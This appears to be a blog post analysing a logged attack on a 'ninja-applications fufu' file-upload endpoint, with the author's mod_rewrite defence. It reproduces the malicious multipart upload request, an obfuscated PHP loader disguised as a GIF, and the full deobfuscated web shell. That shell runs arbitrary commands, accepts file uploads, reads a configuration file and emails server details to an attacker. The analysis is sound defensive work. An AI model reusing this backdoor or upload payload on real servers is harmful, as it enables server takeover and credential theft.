Analysis of attempt to exploit ninja-applications fufu controllers uploader vulnerability
Looking at my web server logs I noticed a new attack signature:
POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1
With user-agent libwww-perl/5.808
Note that my server was not infected because I use Apache mod_rewrite rules to reject malformed requests. In this case my rule against consecutive slashes caught the attack:
# A surprising amount of malware sends URIs with two leading slashes. While # technically not illegal it is an extremely strong malware signal. No # legitimate browser or web crawler would do that. RewriteCond %{REQUEST_URI} !=/favicon.ico RewriteCond %{THE_REQUEST} ^\S+\s+// [NC] RewriteRule ^ /blocked.php [END,E=error-notes:invalid-uri]
Searching Google for that path turns up lots of matches on porn sites. Apparently this is a very popular piece of code in that industry. I did find one hit on the second result page:
[~] [Shell Upload:] Ninja Application File Upload Vulnerability ... hackforums.net/showthread.php?tid=4993982 3 days ago - 3 posts - 2 authors Today I Will Show You How To Upload Shell/File To Website Using ... Exploit: localhost/ninja-applications/fufu/controllers/uploader/upload.php.
Adding the word “vulnerability” to the search returned far fewer results. It looks like the earliest public discussion of this vulnerability is three weeks ago on 2015-09-02. And the few search results I looked were all aimed at telling other hackers how to exploit the vulnerability. So apparently this is a recently found security vulnerability and thus I suspect I’ll see many more attacks against this path in the future.
The contents of this particular attack were:
POST //ninja-applications/fufu/controllers/uploader/upload.php HTTP/1.1 TE: deflate,gzip;q=0.3 Connection: TE, close Host: www.skepticism.us User-Agent: libwww-perl/5.808 Content-Length: 1927 Content-Type: multipart/form-data; boundary=xYzZY --xYzZY Content-Disposition: form-data; name="file"; filename="myluph.jpg" Content-Type: image/jpeg GIF89a^A?^A??????????!??^D^A????,????^A?^A??^B^BD^A?;?< ?php set_time_limit(0); error_reporting(0); eval(gzinflate(str_rot13(base64_decode('zUlbQttVFH5eJP7DMBvJj…')))); ?> --xYzZY Content-Disposition: form-data; name="name" myluph.php --xYzZY--
The uploaded file is identified as a “GIF image data, version 89a, 16129 x 16129” by the UNIX file
command. Replacing the eval
with print
and executing the file (it doesn’t matter if you leave the GIF header intact) via php -f myluph.jpg > myluph.php
results in the content below in myluph.php. As you can see it’s a very basic backdoor. It allows for uploading arbitrary files, executing arbitrary shell commands, and has one special command “baca” to return the file ../../configuration.php
. When invoked it sends email to jalangsaya@gmail.com with a subject line that begins “Hasil Bajakan” followed by information identifying the infected server.
if (!isset($_SESSION['bajak'])) { $visitcount = 0; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Target ditemukan \n$web$inj"; $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE = OFF";} else {$security= "SAFE_MODE = ON";}; $serper=gethostbyname($_SERVER['SERVER_ADDR']); $injektor = gethostbyname($_SERVER['REMOTE_ADDR']); mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor"); mail("jalangsaya@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor"); $_SESSION['bajak'] = 1; } else {$_SESSION['bajak']++;}; if(isset($_GET['clone'])){ $source = $_SERVER['SCRIPT_FILENAME']; $desti =$_SERVER['DOCUMENT_ROOT']."/.libs.php"; rename($source, $desti); } $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE : OFF jalanG";} else {$security= "SAFE_MODE : ON jalanG";} echo "<title>jalanG</title><br>"; $dataku = "POWERED BY jalanG"; $dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER"; $dataku3 = "Contact Admin YM :ready.buyer"; echo "<font size=2 color=blue><b>".$dataku."</b><br>"; echo "<font size=2 color=red><b>".$dataku2."</b><br>"; echo "<font size=2 color=blue><b>".$dataku3."</b><br>"; echo "<font size=2 color=#888888><b>".$security."</b><br>"; $cur_user="(".get_current_user().")"; echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>"; echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>"; function pwd() { $cwd = getcwd(); if($u=strrpos($cwd,'/')){ if($u!=strlen($cwd)-1){ return $cwd.'/';} else{return $cwd;}; } elseif($u=strrpos($cwd,'\\')){ if($u!=strlen($cwd)-1){ return $cwd.'\\';} else{return $cwd;}; }; } echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>'; echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>'; if(isset($_POST['submit'])){ $uploaddir = pwd(); if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];}; move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name); if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){ echo "Upload Failed"; } else { echo "Upload Success to ".$uploaddir.$name." Succes! "; } } if(isset($_POST['command'])){ $cmd = $_POST['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>"; } elseif(isset($_GET['cmd'])){ $comd = $_GET['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>"; } else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>"; } if(isset($_GET['baca'])){ $conf = file_get_contents("../../configuration.php"); echo $conf; }